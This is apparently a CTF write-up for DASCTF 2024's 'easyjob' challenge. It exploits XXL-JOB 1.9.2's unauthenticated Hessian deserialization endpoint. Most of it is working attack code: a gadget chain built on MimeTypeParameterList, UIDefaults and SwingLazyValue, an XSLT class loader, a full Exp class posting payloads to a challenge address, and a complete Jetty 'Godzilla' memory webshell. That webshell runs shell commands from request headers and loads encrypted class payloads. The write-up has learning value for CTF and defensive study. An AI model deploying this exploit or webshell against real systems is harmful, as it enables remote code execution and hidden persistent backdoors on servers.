DASCTF 2024暑期挑战赛 easyjob

DASCTF 2024暑期挑战赛 easyjob

下载附件没有什么特别的,不过很明显是xxl-job的应用,而且是1.9.2版本的

我们去搜索文章https://xz.aliyun.com/t/13899

猜测有两个可能

一个是打api,一个打executor未授权

首先打api的话可以参考https://www.cnblogs.com/ph4nt0mer/p/13913252.html

简单来说就是访问到api后调用invoke方法

private RpcResponse doInvoke(HttpServletRequest request) {
        try {
            // deserialize request
            byte[] requestBytes = HttpClientUtil.readBytes(request);
            if (requestBytes == null || requestBytes.length==0) {
                RpcResponse rpcResponse = new RpcResponse();
                rpcResponse.setError("RpcRequest byte[] is null");
                return rpcResponse;
            }
            RpcRequest rpcRequest = (RpcRequest) HessianSerializer.deserialize(requestBytes, RpcRequest.class);

            // invoke
            RpcResponse rpcResponse = NetComServerFactory.invokeService(rpcRequest, null);
            return rpcResponse;
        } catch (Exception e) {
            logger.error(e.getMessage(), e);

            RpcResponse rpcResponse = new RpcResponse();
            rpcResponse.setError("Server-error:" + e.getMessage());
            return rpcResponse;
        }
    }
    

我们可以看到就是把body Hessian反序列化

所以目标又变成打hessian反序列化了,看了看题目的依赖,第一肯定是打jndi注入咯,但是不行,题目不出网,转手打内存马,打内存马首先利用Rome+temp的组合,但是发现没有rome依赖,我们选择使用heesian原生的链子来打

现在目前已知的触发的有两种方法,第一就是异常触发tostring,然后还有就是通过put方法作为参数,触发的hashcode等

然后原生反序列化的话可以打这个

PKCS9Attributes#toString
	UIDefaults#get
		UIDefaults#getFromHashTable
			UIDefaults$LazyValue#createValue
			SwingLazyValue#createValue
			createValue可以触发任意类的任意静态方法

我们这里因为要打内存马,有三种选择

静态方法而且可以加载类的话有我们的JavaWrapper._mian方法

可以加载bcel字节,但是打内存马还是太麻烦了,bcel打内存马的话需要全反射

这里利用的就是XSLT,因为com.sun.org.apache.xalan.internal.xslt.Process的_main方法

可以去解析我们的xslt文件

至于这个文件就不管了

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns:b64="http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder"
                xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
                xmlns:th="http://xml.apache.org/xalan/java/java.lang.Thread"
                xmlns:ru="http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils"
>
    <xsl:template match="/">
        <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'base64')"/>
        <xsl:variable name="cl" select="th:getContextClassLoader(th:currentThread())"/>
        <xsl:variable name="rce" select="ru:defineClass('classname',$bs,$cl)"/>
        <xsl:value-of select="$rce"/>
    </xsl:template>
</xsl:stylesheet>


可以加载恶意类

然后还需要一个写这个文件的paylaod,还是一样的paylaod,不过是使用com.sun.org.apache.xml.internal.security.utils.JavaUtils", “writeBytesToFilename”

就是把字节写到文件中

最后的一把梭哈的paylaod,是参考https://blog.csdn.net/Err0r233/article/details/140818646师傅的

对了还没有说打什么内存马呢,因为是jetty框架的,打jetty内存马

package com.xxl.job.core;

import org.eclipse.jetty.server.*;
import org.eclipse.jetty.server.handler.AbstractHandler;
import org.eclipse.jetty.server.handler.HandlerCollection;
import sun.misc.Unsafe;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.ref.Reference;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Scanner;

//author:Boogipop

public class JettyGodzillaMemshell extends AbstractHandler {
    String xc = "3c6e0b8a9c15224a"; // key
    String pass = "username";
    String md5 = md5(pass + xc);
    Class payload;
    public static String md5(String s) {
        String ret = null;
        try {
            java.security.MessageDigest m;
            m = java.security.MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
        } catch (Exception e) {
        }
        return ret;
    }
    public JettyGodzillaMemshell() {
        System.out.println(1);
    }

    public JettyGodzillaMemshell(int s) {
        System.out.println(2);
    }

    static {
        try {
            HttpConnection valueField = getValueField();
            HandlerCollection handler = (HandlerCollection) valueField.getHttpChannel().getServer().getHandler();
            Field mutableWhenRunning = handler.getClass().getDeclaredField("_mutableWhenRunning");
            mutableWhenRunning.setAccessible(true);
            mutableWhenRunning.set(handler,true);
//            handler.addHandler(new JettyHandlerMemshell(1));
            Handler[] handlers = handler.getHandlers();
            Handler[] newHandlers=new Handler[handlers.length+1];
            newHandlers[0]=new JettyGodzillaMemshell(1);
            for (int i = 0; i < handlers.length; i++) {
                newHandlers[i + 1] = handlers[i];
            }
            handler.setHandlers(newHandlers);

        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }
    }
    private static sun.misc.Unsafe getUnsafe() throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
        Field unsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
        unsafe.setAccessible(true);
        sun.misc.Unsafe theunsafe = (sun.misc.Unsafe) unsafe.get(null);
        return theunsafe;
    }
    private static HttpConnection getValueField() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException {
        Unsafe unsafe = getUnsafe();
        ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
        Field threadsfiled = threadGroup.getClass().getDeclaredField("threads");
        Thread[] threads = (Thread[]) unsafe.getObject(threadGroup, unsafe.objectFieldOffset(threadsfiled));
        for(int i=0;i<threads.length;i++) {
            try {
                Field threadLocalsF = threads[i].getClass().getDeclaredField("threadLocals");
                Object threadlocal = unsafe.getObject(threads[i], unsafe.objectFieldOffset(threadLocalsF));
                Reference[] table = (Reference[]) unsafe.getObject(threadlocal, unsafe.objectFieldOffset(threadlocal.getClass().getDeclaredField("table")));
                for(int j=0;j<table.length;j++){
                    try {
                        //HttpConnection value = (HttpConnection) unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
                        //PrintWriter writer = value.getHttpChannel().getResponse().getWriter();
                        //writer.println(Runtime.getRuntime().exec(value.getHttpChannel().getRequest().getParameter("cmd")));
                        //writer.flush();
                        Object value =unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
                        if(value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")){
                            return (HttpConnection)value;
                        }
                    }
                    catch (Exception e){

                    }
                }

            } catch (Exception e) {

            }
        }
        return null;
    }
    public static String base64Encode(byte[] bs) throws Exception {
        Class base64;
        String value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
            } catch (Exception e2) {
            }
        }
        return value;
    }
    public static byte[] base64Decode(String bs) throws Exception {
        Class base64;
        byte[] value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
            } catch (Exception e2) {
            }
        }
        return value;
    }
    public byte[] x(byte[] s, boolean m) {
        try {
            Cipher c = Cipher.getInstance("AES");
            c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES"));
            return c.doFinal(s);
        } catch (Exception e) {
            return null;
        }
    }

    @Override
    public void handle(String s, Request base, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
        try {
            if (request.getHeader("x-fuck-data").equalsIgnoreCase("cmd")) {
                String cmd = request.getHeader("cmd");
                if (cmd != null && !cmd.isEmpty()) {
                    String[] cmds = null;
                    if (System.getProperty("os.name").toLowerCase().contains("win")) {
                        cmds = new String[]{"cmd", "/c", cmd};
                    } else {
                        cmds = new String[]{"/bin/bash", "-c", cmd};
                    }
                    base.setHandled(true);
                    String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\ASADSADASDSADAS").next();
                    ServletOutputStream outputStream = response.getOutputStream();
                    outputStream.write(result.getBytes());
                    outputStream.flush();
                }
            }
            else if (request.getHeader("x-fuck-data").equalsIgnoreCase("godzilla")) {
                // 哥斯拉是通过 localhost/?pass=payload 传参 不存在包装类问题
                byte[] data = base64Decode(request.getParameter(pass));
                data = x(data, false);
                if (payload == null) {
                    URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
                    Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                    defMethod.setAccessible(true);
                    payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length);
                } else {
                    java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
                    Object f = payload.newInstance();
                    f.equals(arrOut);
                    f.equals(data);
                    f.equals(request);
                    base.setHandled(true);
                    ServletOutputStream outputStream = response.getOutputStream();
                    outputStream.write(md5.substring(0, 16).getBytes());
                    f.toString();
                    outputStream.write(base64Encode(x(arrOut.toByteArray(), true)).getBytes());
                    outputStream.write(md5.substring(16).getBytes());
                    outputStream.flush();
                    return ;
                }
            }
        } catch (Exception e) {
        }
    }
}


paylaod

有个细节就是一般我们打反序列化,题目都是base64去输入,但是这次是直接输入字节码,这样就会很麻烦了,就需要自己写一个post的逻辑了

public static String sendPostRequest(String urlString, byte[] rawData) throws IOException {
        URL url = new URL(urlString);
        HttpURLConnection connection = (HttpURLConnection) url.openConnection();

        try {
            // 设置请求方法为POST
            connection.setRequestMethod("POST");
            // 允许输入输出
            connection.setDoOutput(true);
            // 设置请求头
            connection.setRequestProperty("Content-Type", "application/octet-stream");  // 根据需要设置Content-Type

            // 写入请求体
            try (OutputStream os = connection.getOutputStream()) {
                os.write(rawData);
                os.flush();
            }

            // 读取响应
            try (InputStream is = connection.getInputStream()) {
                StringBuilder response = new StringBuilder();
                byte[] buffer = new byte[1024];
                int bytesRead;
                while ((bytesRead = is.read(buffer)) != -1) {
                    response.append(new String(buffer, 0, bytesRead, "utf-8"));
                }
                return response.toString();
            }
        } finally {
            connection.disconnect();
        }
    }

综合就是

package com.Err0r233;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class exp {
    public static String sendPostRequest(String urlString, byte[] rawData) throws IOException {
        URL url = new URL(urlString);
        HttpURLConnection connection = (HttpURLConnection) url.openConnection();

        try {
            // 设置请求方法为POST
            connection.setRequestMethod("POST");
            // 允许输入输出
            connection.setDoOutput(true);
            // 设置请求头
            connection.setRequestProperty("Content-Type", "application/octet-stream");  // 根据需要设置Content-Type

            // 写入请求体
            try (OutputStream os = connection.getOutputStream()) {
                os.write(rawData);
                os.flush();
            }

            // 读取响应
            try (InputStream is = connection.getInputStream()) {
                StringBuilder response = new StringBuilder();
                byte[] buffer = new byte[1024];
                int bytesRead;
                while ((bytesRead = is.read(buffer)) != -1) {
                    response.append(new String(buffer, 0, bytesRead, "utf-8"));
                }
                return response.toString();
            }
        } finally {
            connection.disconnect();
        }
    }
    public static void step1() throws Exception{
        UIDefaults uiDefaults = new UIDefaults();
        String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
                "                xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +
                "                xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +
                "                xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +
                "                xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +
                ">\n" +
                "    <xsl:template match=\"/\">\n" +
                "        <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'base64')\"/>\n" +
                "        <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +
                "        <xsl:variable name=\"rce\" select=\"ru:defineClass('classname',$bs,$cl)\"/>\n" +
                "        <xsl:value-of select=\"$rce\"/>\n" +
                "    </xsl:template>\n" +
                "</xsl:stylesheet>";
        String base64Code = "内存马的base64编码";
        String xslt = xsltTemplate.replace("base64", base64Code);
        xslt = xslt.replace("classname", "com.Err0r233.JettyGodzillaMemshell");
        SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/1.xslt",xslt.getBytes()});
        uiDefaults.put("aaa", swingLazyValue);
        MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
        SetValue(mimeTypeParameterList, "parameters", uiDefaults);
        byte[] data = ser(mimeTypeParameterList);
        System.out.println(sendPostRequest("http://48.218.22.35:21000/run", data));
    }
    public static void step2() throws Exception{
        UIDefaults uiDefaults = new UIDefaults();
        SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "/tmp/1.xslt"}});
        uiDefaults.put("aaa", swingLazyValue);
        MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
        SetValue(mimeTypeParameterList, "parameters", uiDefaults);
        byte[] data = ser(mimeTypeParameterList);
        System.out.println(sendPostRequest("http://48.218.22.35:21000/run", data));
    }

    public static void main(String[] args) throws Exception {
        step1();
        step2();
    }

    public static void SetValue(Object obj, String name, Object value) throws Exception{
        Class clz = obj.getClass();
        Field field = clz.getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] ser(Object obj) throws Exception{
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(baos);
        //允许反序列化NonSerializable
        hessian2Output.getSerializerFactory().setAllowNonSerializable(true);

        //触发expect:
        baos.write(67);
        hessian2Output.writeObject(obj);
        hessian2Output.flushBuffer();
        return baos.toByteArray();
    }
}

image-20240815183221009

这个是正常的,不管他,直接继续打就好了

在header输入

x-fuck-data: cmd
cmd: whoami

image-20240815183304474

  • 13
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值